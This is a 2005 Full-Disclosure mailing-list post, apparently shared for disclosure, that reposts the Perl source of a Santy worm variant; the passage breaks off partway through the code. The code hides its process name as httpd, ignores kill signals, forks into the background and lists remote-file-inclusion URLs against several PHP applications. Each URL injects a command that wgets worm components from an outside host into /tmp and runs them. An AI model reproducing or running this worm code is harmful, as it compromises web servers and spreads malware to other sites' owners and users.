

Re: [Full-Disclosure] Santy Variant attacking about 50 PHP-applications

Source: <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2005-01/0045.html>

From: Andrew Smith (stfunub_at_gmail.com)

Date: 01/03/05

Date: Mon, 3 Jan 2005 07:54:08 +0000

To: peter dudikoff <licht77@gmx.net>

Covered on the F-Secure weblog, the DNS has been pointed at 127.0.0.2 so no more bots will be connecting. Just posting the source incase 5wk.com dies:

```
#!/usr/bin/perl
```

```
#####  
####  
#####  
#####  
#####  
#####  
#####  
#####  
#####  
#####
```

```
use LWP::Simple;  
use IO::Socket::INET;
```

```
my $processo = "/usr/local/sbin/httpd";  
$SIG{"INT"} = "IGNORE";  
$SIG{"HUP"} = "IGNORE";  
$SIG{"TERM"} = "IGNORE";  
$SIG{"CHLD"} = "IGNORE";  
$SIG{"PS"} = "IGNORE";
```

```
$0="$processo"."\\0"x16;;  
my $pid=fork;  
exit if $pid;  
die "Problema com o fork: $!" unless defined($pid);
```

```
$lista[0] =  
'/modules/My_eGallery/public/displayCategory.php?basepath=http://www.5wk.com/spy.gif?&cmd=cd  
'/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget  
http://www.5wk.com/spybot;  
$lista[1] = '/modules/mod_mainmenu.php?mosConfig_absolute_path=http://www.5wk.com/spy.gif?&cmd=cd
```

Full-Disclosure: Re: [Full-Disclosure] Santy Variant attacking about 50 PHP-applications

```
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[2] = '/include/new-visitor.inc.php?lvc_include_dir=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[3] = '/_functions.php?prefix=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget http://www.5wk.com/spyworm1:perl spyworm1;wget
http://www.5wk.com/spybot';
$lista[4] = '/cpcommerce/_functions.php?prefix=http://www.5wk.com/spy.gif?&cmd=cd
/tmp;wget h
```